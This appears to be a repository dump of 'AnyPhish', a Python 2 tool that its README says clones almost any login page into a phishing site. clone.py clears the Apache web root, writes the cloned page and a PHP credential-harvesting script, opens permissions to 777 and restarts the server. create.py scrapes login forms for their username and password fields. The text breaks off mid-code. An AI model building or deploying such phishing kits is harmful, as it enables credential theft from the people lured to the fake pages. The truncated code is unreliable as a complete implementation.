├── README.md ├── clone.py └── create.py /README.md: -------------------------------------------------------------------------------- 1 | # AnyPhish 2 | #### clone almost any login page, and turn it into a phishing site. 3 | 4 | ## Usage 5 | ### python clone.py [full link to login page] 6 | #### python clone.py https://site.com/login 7 | 8 | ## Disclaimers 9 | * I'll not be responsible for any damage done with this tool. Don't be stupid guys. 10 | * This tool will only work on login pages, so don't only type https://site.com/ 11 | * This tool only work if both of fields are available at once. 12 | * This tool will not work on a JavaScript website. 13 | * This tool will not work on every single site. 14 | -------------------------------------------------------------------------------- /clone.py: -------------------------------------------------------------------------------- 1 | # Date: 08/16/2017 2 | # Distro: Kali Linux 3 | # Author: Ethical-H4CK3R 4 | # Description: Creates phishing sites 5 | # 6 | # 7 | 8 | import os 9 | import create 10 | import argparse 11 | import subprocess 12 | 13 | class Phish(create.Create): 14 | def __init__(self): 15 | self.dir = '/var/www/html' 16 | super(Phish,self).__init__() 17 | 18 | def remove(self): 19 | for item in os.listdir(self.dir): 20 | if os.path.isfile('{}/{}'.format(self.dir,item)): 21 | os.remove('{}/{}'.format(self.dir,item)) 22 | 23 | def apache(self): 24 | cmd = ['service','apache2','restart'] 25 | subprocess.Popen(cmd).wait() 26 | print '\n[-] Started apache web server' 27 | def permission(self): 28 | cmd = ['chmod','777','-R',self.dir] 29 | subprocess.Popen(cmd).wait() 30 | 31 | def clone(self,url): 32 | os.chdir(self.dir) # webserver directory 33 | self.remove() 34 | 35 | self.html(url) 36 | self.php() 37 | 38 | self.permission() # a certain permission is required 39 | self.apache() 40 | 41 | def main(): 42 | arg = argparse.ArgumentParser() 43 | arg.add_argument('url',help='site\'s login page') 44 | arg = arg.parse_args() 45 | Phish().clone(arg.url) 46 | print 'Check: /var/www/html' 47 | 48 | if __name__ == '__main__': 49 | if os.getuid():exit('root access required') 50 | main() 51 | -------------------------------------------------------------------------------- /create.py: -------------------------------------------------------------------------------- 1 | import re 2 | import cookielib 3 | import mechanize 4 | from bs4 import BeautifulSoup as bs 5 | 6 | class Create(object): 7 | def __init__(self): 8 | self.browser = None 9 | self.username = None 10 | self.password = None 11 | self.loginphp = 'login.php' # write post info 12 | self.fakeLogin = '256.256' # force page to throw login error (random number) 13 | self.phpsrc = '''\n 21 | ''' 22 | 23 | def exit(self,page): 24 | exit('[-] Unable to locate a login form on: {}'.format(page)) 25 | 26 | def createBrowser(self): 27 | br = mechanize.Browser() 28 | br.set_handle_equiv(True) 29 | br.set_handle_referer(True) 30 | br.set_handle_robots(False) 31 | br.set_cookiejar(cookielib.LWPCookieJar()) 32 | br.addheaders=[('User-agent',self.useragent())] 33 | br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1) 34 | self.browser = br 35 | 36 | def useragent(self): 37 | return 'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko' 38 | 39 | def extract(self,line,username=True): 40 | name = line[13:-3] if username else line[17:-3] 41 | return name 42 | 43 | def getFields(self): 44 | for form in self.browser.forms(): 45 | for line in str(form).split(): 46 | if '